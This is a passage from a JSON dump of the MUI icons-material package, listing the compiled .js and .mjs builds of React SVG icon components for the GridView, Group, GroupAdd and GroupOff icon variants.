2v4c0 1.1.9 2 2 2\"\n}), 'GridViewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridViewRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 11h4c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2m0 10h4c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2m8-16v4c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2m2 16h4c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2\"\n}), 'GridViewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridViewSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h8v8H3zm0 10h8v8H3zM13 3h8v8h-8zm0 10h8v8h-8z\"\n}), 'GridViewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridViewSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h8v8H3zm0 10h8v8H3zM13 3h8v8h-8zm0 10h8v8h-8z\"\n}), 'GridViewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridViewTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h4v4H5zm0 10h4v4H5zm10 0h4v4h-4zm0-10h4v4h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h8v-8H3zm2-6h4v4H5zm-2-4h8V3H3zm2-6h4v4H5zm8 16h8v-8h-8zm2-6h4v4h-4zM13 3v8h8V3zm6 6h-4V5h4z\"\n}, \"1\")], 'GridViewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridViewTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h4v4H5zm0 10h4v4H5zm10 0h4v4h-4zm0-10h4v4h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h8v-8H3zm2-6h4v4H5zm-2-4h8V3H3zm2-6h4v4H5zm8 16h8v-8h-8zm2-6h4v4h-4zM13 3v8h8V3zm6 6h-4V5h4z\"\n}, \"1\")], 'GridViewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Group.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 11c1.66 0 2.99-1.34 2.99-3S17.66 5 16 5s-3 1.34-3 3 1.34 3 3 3m-8 0c1.66 0 2.99-1.34 2.99-3S9.66 5 8 5 5 6.34 5 8s1.34 3 3 3m0 2c-2.33 0-7 1.17-7 3.5V19h14v-2.5c0-2.33-4.67-3.5-7-3.5m8 0c-.29 0-.62.02-.97.05 1.16.84 1.97 1.97 1.97 3.45V19h6v-2.5c0-2.33-4.67-3.5-7-3.5\"\n}), 'Group');"
  },
  {
    "path": "packages/mui-icons-material/lib/Group.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 11c1.66 0 2.99-1.34 2.99-3S17.66 5 16 5s-3 1.34-3 3 1.34 3 3 3m-8 0c1.66 0 2.99-1.34 2.99-3S9.66 5 8 5 5 6.34 5 8s1.34 3 3 3m0 2c-2.33 0-7 1.17-7 3.5V19h14v-2.5c0-2.33-4.67-3.5-7-3.5m8 0c-.29 0-.62.02-.97.05 1.16.84 1.97 1.97 1.97 3.45V19h6v-2.5c0-2.33-4.67-3.5-7-3.5\"\n}), 'Group');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupAdd.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 9V7h-2v2h-2v2h2v2h2v-2h2V9zM8 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0 1c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m4.51-8.95C13.43 5.11 14 6.49 14 8s-.57 2.89-1.49 3.95C14.47 11.7 16 10.04 16 8s-1.53-3.7-3.49-3.95m4.02 9.78C17.42 14.66 18 15.7 18 17v3h2v-3c0-1.45-1.59-2.51-3.47-3.17\"\n}), 'GroupAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupAdd.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 9V7h-2v2h-2v2h2v2h2v-2h2V9zM8 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0 1c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m4.51-8.95C13.43 5.11 14 6.49 14 8s-.57 2.89-1.49 3.95C14.47 11.7 16 10.04 16 8s-1.53-3.7-3.49-3.95m4.02 9.78C17.42 14.66 18 15.7 18 17v3h2v-3c0-1.45-1.59-2.51-3.47-3.17\"\n}), 'GroupAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupAddOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 9V7h-2v2h-2v2h2v2h2v-2h2V9zM8 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 7c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m6 5H2v-.99C2.2 16.29 5.3 15 8 15s5.8 1.29 6 2zM12.51 4.05C13.43 5.11 14 6.49 14 8s-.57 2.89-1.49 3.95C14.47 11.7 16 10.04 16 8s-1.53-3.7-3.49-3.95m4.02 9.78C17.42 14.66 18 15.7 18 17v3h2v-3c0-1.45-1.59-2.51-3.47-3.17\"\n}), 'GroupAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupAddOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 9V7h-2v2h-2v2h2v2h2v-2h2V9zM8 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 7c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m6 5H2v-.99C2.2 16.29 5.3 15 8 15s5.8 1.29 6 2zM12.51 4.05C13.43 5.11 14 6.49 14 8s-.57 2.89-1.49 3.95C14.47 11.7 16 10.04 16 8s-1.53-3.7-3.49-3.95m4.02 9.78C17.42 14.66 18 15.7 18 17v3h2v-3c0-1.45-1.59-2.51-3.47-3.17\"\n}), 'GroupAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupAddRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 9V8c0-.55-.45-1-1-1s-1 .45-1 1v1h-1c-.55 0-1 .45-1 1s.45 1 1 1h1v1c0 .55.45 1 1 1s1-.45 1-1v-1h1c.55 0 1-.45 1-1s-.45-1-1-1zM8 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0 1c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m4.51-8.95C13.43 5.11 14 6.49 14 8s-.57 2.89-1.49 3.95C14.47 11.7 16 10.04 16 8s-1.53-3.7-3.49-3.95m4.02 9.78C17.42 14.66 18 15.7 18 17v3h2v-3c0-1.45-1.59-2.51-3.47-3.17\"\n}), 'GroupAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupAddRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 9V8c0-.55-.45-1-1-1s-1 .45-1 1v1h-1c-.55 0-1 .45-1 1s.45 1 1 1h1v1c0 .55.45 1 1 1s1-.45 1-1v-1h1c.55 0 1-.45 1-1s-.45-1-1-1zM8 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0 1c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m4.51-8.95C13.43 5.11 14 6.49 14 8s-.57 2.89-1.49 3.95C14.47 11.7 16 10.04 16 8s-1.53-3.7-3.49-3.95m4.02 9.78C17.42 14.66 18 15.7 18 17v3h2v-3c0-1.45-1.59-2.51-3.47-3.17\"\n}), 'GroupAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupAddSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 9V7h-2v2h-2v2h2v2h2v-2h2V9zM8 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0 1c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m4.51-8.95C13.43 5.11 14 6.49 14 8s-.57 2.89-1.49 3.95C14.47 11.7 16 10.04 16 8s-1.53-3.7-3.49-3.95m4.02 9.78C17.42 14.66 18 15.7 18 17v3h2v-3c0-1.45-1.59-2.51-3.47-3.17\"\n}), 'GroupAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupAddSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 9V7h-2v2h-2v2h2v2h2v-2h2V9zM8 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0 1c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m4.51-8.95C13.43 5.11 14 6.49 14 8s-.57 2.89-1.49 3.95C14.47 11.7 16 10.04 16 8s-1.53-3.7-3.49-3.95m4.02 9.78C17.42 14.66 18 15.7 18 17v3h2v-3c0-1.45-1.59-2.51-3.47-3.17\"\n}), 'GroupAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupAddTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 15c-2.7 0-5.8 1.29-6 2.01V18h12v-1c-.2-.71-3.3-2-6-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 9V7h-2v2h-2v2h2v2h2v-2h2V9zM8 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 7c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m6 5H2v-.99C2.2 16.29 5.3 15 8 15s5.8 1.29 6 2zM12.51 4.05C13.43 5.11 14 6.49 14 8s-.57 2.89-1.49 3.95C14.47 11.7 16 10.04 16 8s-1.53-3.7-3.49-3.95m4.02 9.78C17.42 14.66 18 15.7 18 17v3h2v-3c0-1.45-1.59-2.51-3.47-3.17\"\n}, \"2\")], 'GroupAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupAddTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 15c-2.7 0-5.8 1.29-6 2.01V18h12v-1c-.2-.71-3.3-2-6-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 9V7h-2v2h-2v2h2v2h2v-2h2V9zM8 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 7c-2.67 0-8 1.34-8 4v3h16v-3c0-2.66-5.33-4-8-4m6 5H2v-.99C2.2 16.29 5.3 15 8 15s5.8 1.29 6 2zM12.51 4.05C13.43 5.11 14 6.49 14 8s-.57 2.89-1.49 3.95C14.47 11.7 16 10.04 16 8s-1.53-3.7-3.49-3.95m4.02 9.78C17.42 14.66 18 15.7 18 17v3h2v-3c0-1.45-1.59-2.51-3.47-3.17\"\n}, \"2\")], 'GroupAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 8c0-1.42-.5-2.73-1.33-3.76.42-.14.86-.24 1.33-.24 2.21 0 4 1.79 4 4s-1.79 4-4 4h-.18l-.77-.77c.6-.94.95-2.05.95-3.23m7.83 12H23v-3c0-2.18-3.58-3.47-6.34-3.87 1.1.75 1.95 1.71 2.23 2.94zM7.24 4.41C7.77 4.15 8.37 4 9 4c2.21 0 4 1.79 4 4 0 .63-.15 1.23-.41 1.76zM9.17 12H9c-2.21 0-4-1.79-4-4v-.17L.69 3.51 2.1 2.1l19.8 19.8-1.41 1.41L17 19.83V20H1v-3c0-2.66 5.33-4 8-4 .37 0 .8.03 1.25.08z\"\n}), 'GroupOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 8c0-1.42-.5-2.73-1.33-3.76.42-.14.86-.24 1.33-.24 2.21 0 4 1.79 4 4s-1.79 4-4 4h-.18l-.77-.77c.6-.94.95-2.05.95-3.23m7.83 12H23v-3c0-2.18-3.58-3.47-6.34-3.87 1.1.75 1.95 1.71 2.23 2.94zM7.24 4.41C7.77 4.15 8.37 4 9 4c2.21 0 4 1.79 4 4 0 .63-.15 1.23-.41 1.76zM9.17 12H9c-2.21 0-4-1.79-4-4v-.17L.69 3.51 2.1 2.1l19.8 19.8-1.41 1.41L17 19.83V20H1v-3c0-2.66 5.33-4 8-4 .37 0 .8.03 1.25.08z\"\n}), 'GroupOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 8c0-1.42-.5-2.73-1.33-3.76.42-.14.86-.24 1.33-.24 2.21 0 4 1.79 4 4s-1.79 4-4 4h-.18l-.77-.77c.6-.94.95-2.05.95-3.23m7.83 12H23v-3c0-2.18-3.58-3.47-6.34-3.87 1.1.75 1.95 1.71 2.23 2.94zM9 6c-.06 0-.11 0-.16.01l-1.6-1.6C7.77 4.15 8.37 4 9 4c2.21 0 4 1.79 4 4 0 .63-.15 1.23-.41 1.76l-1.6-1.6c.01-.05.01-.1.01-.16 0-1.1-.9-2-2-2m.17 6H9c-2.21 0-4-1.79-4-4v-.17L.69 3.51 2.1 2.1l19.8 19.8-1.41 1.41L17 19.83V20H1v-3c0-2.66 5.33-4 8-4 .37 0 .8.03 1.25.08zM9 15c-2.7 0-5.8 1.29-6 2.01V18h12v-.17l-2.11-2.11C11.76 15.31 10.33 15 9 15\"\n}), 'GroupOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 8c0-1.42-.5-2.73-1.33-3.76.42-.14.86-.24 1.33-.24 2.21 0 4 1.79 4 4s-1.79 4-4 4h-.18l-.77-.77c.6-.94.95-2.05.95-3.23m7.83 12H23v-3c0-2.18-3.58-3.47-6.34-3.87 1.1.75 1.95 1.71 2.23 2.94zM9 6c-.06 0-.11 0-.16.01l-1.6-1.6C7.77 4.15 8.37 4 9 4c2.21 0 4 1.79 4 4 0 .63-.15 1.23-.41 1.76l-1.6-1.6c.01-.05.01-.1.01-.16 0-1.1-.9-2-2-2m.17 6H9c-2.21 0-4-1.79-4-4v-.17L.69 3.51 2.1 2.1l19.8 19.8-1.41 1.41L17 19.83V20H1v-3c0-2.66 5.33-4 8-4 .37 0 .8.03 1.25.08zM9 15c-2.7 0-5.8 1.29-6 2.01V18h12v-.17l-2.11-2.11C11.76 15.31 10.33 15 9 15\"\n}), 'GroupOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 8c0-1.42-.5-2.73-1.33-3.76.42-.14.86-.24 1.33-.24 2.21 0 4 1.79 4 4s-1.79 4-4 4h-.18l-.77-.77c.6-.94.95-2.05.95-3.23M7.24 4.41C7.77 4.15 8.37 4 9 4c2.21 0 4 1.79 4 4 0 .63-.15 1.23-.41 1.76zm13.95 16.78c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0l-2.99-2.99c-.19.24-.47.39-.79.39H2c-.55 0-1-.45-1-1v-2c0-2.66 5.33-4 8-4 .37 0 .8.03 1.25.08L9.17 12H9c-2.21 0-4-1.79-4-4v-.17L1.39 4.22C1 3.83 1 3.2 1.39 2.81s1.02-.39 1.41 0zm-2.3-5.12c-.29-1.22-1.13-2.19-2.23-2.94 2.76.4 6.34 1.69 6.34 3.87v2c0 .32-.15.6-.38.79z\"\n}), 'GroupOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 8c0-1.42-.5-2.73-1.33-3.76.42-.14.86-.24 1.33-.24 2.21 0 4 1.79 4 4s-1.79 4-4 4h-.18l-.77-.77c.6-.94.95-2.05.95-3.23M7.24 4.41C7.77 4.15 8.37 4 9 4c2.21 0 4 1.79 4 4 0 .63-.15 1.23-.41 1.76zm13.95 16.78c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0l-2.99-2.99c-.19.24-.47.39-.79.39H2c-.55 0-1-.45-1-1v-2c0-2.66 5.33-4 8-4 .37 0 .8.03 1.25.08L9.17 12H9c-2.21 0-4-1.79-4-4v-.17L1.39 4.22C1 3.83 1 3.2 1.39 2.81s1.02-.39 1.41 0zm-2.3-5.12c-.29-1.22-1.13-2.19-2.23-2.94 2.76.4 6.34 1.69 6.34 3.87v2c0 .32-.15.6-.38.79z\"\n}), 'GroupOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 8c0-1.42-.5-2.73-1.33-3.76.42-.14.86-.24 1.33-.24 2.21 0 4 1.79 4 4s-1.79 4-4 4h-.18l-.77-.77c.6-.94.95-2.05.95-3.23m7.83 12H23v-3c0-2.18-3.58-3.47-6.34-3.87 1.1.75 1.95 1.71 2.23 2.94zM7.24 4.41C7.77 4.15 8.37 4 9 4c2.21 0 4 1.79 4 4 0 .63-.15 1.23-.41 1.76zM9.17 12H9c-2.21 0-4-1.79-4-4v-.17L.69 3.51 2.1 2.1l19.8 19.8-1.41 1.41L17 19.83V20H1v-3c0-2.66 5.33-4 8-4 .37 0 .8.03 1.25.08z\"\n}), 'GroupOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 8c0-1.42-.5-2.73-1.33-3.76.42-.14.86-.24 1.33-.24 2.21 0 4 1.79 4 4s-1.79 4-4 4h-.18l-.77-.77c.6-.94.95-2.05.95-3.23m7.83 12H23v-3c0-2.18-3.58-3.47-6.34-3.87 1.1.75 1.95 1.71 2.23 2.94zM7.24 4.41C7.77 4.15 8.37 4 9 4c2.21 0 4 1.79 4 4 0 .63-.15 1.23-.41 1.76zM9.17 12H9c-2.21 0-4-1.79-4-4v-.17L.69 3.51 2.1 2.1l19.8 19.8-1.41 1.41L17 19.83V20H1v-3c0-2.66 5.33-4 8-4 .37 0 .8.03 1.25.08z\"\n}), 'GroupOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.99 8.16c.01-.05.01-.1.01-.16 0-1.1-.9-2-2-2-.06 0-.11 0-.16.01zM9 15c-2.7 0-5.8 1.29-6 2.01V18h12v-.17l-2.11-2.11C11.76 15.31 10.33 15 9 15\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 8c0-1.42-.5-2.73-1.33-3.76.42-.14.86-.24 1.33-.24 2.21 0 4 1.79 4 4s-1.79 4-4 4h-.18l-.77-.77c.6-.94.95-2.05.95-3.23m7.83 12H23v-3c0-2.18-3.58-3.47-6.34-3.87 1.1.75 1.95 1.71 2.23 2.94zM9 6c-.06 0-.11 0-.16.01l-1.6-1.6C7.77 4.15 8.37 4 9 4c2.21 0 4 1.79 4 4 0 .63-.15 1.23-.41 1.76l-1.6-1.6c.01-.05.01-.1.01-.16 0-1.1-.9-2-2-2m.17 6H9c-2.21 0-4-1.79-4-4v-.17L.69 3.51 2.1 2.1l19.8 19.8-1.41 1.41L17 19.83V20H1v-3c0-2.66 5.33-4 8-4 .37 0 .8.03 1.25.08zM9 15c-2.7 0-5.8 1.29-6 2.01V18h12v-.17l-2.11-2.11C11.76 15.31 10.33 15 9 15\"\n}, \"1\")], 'GroupOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupOffTwoTone.mjs",
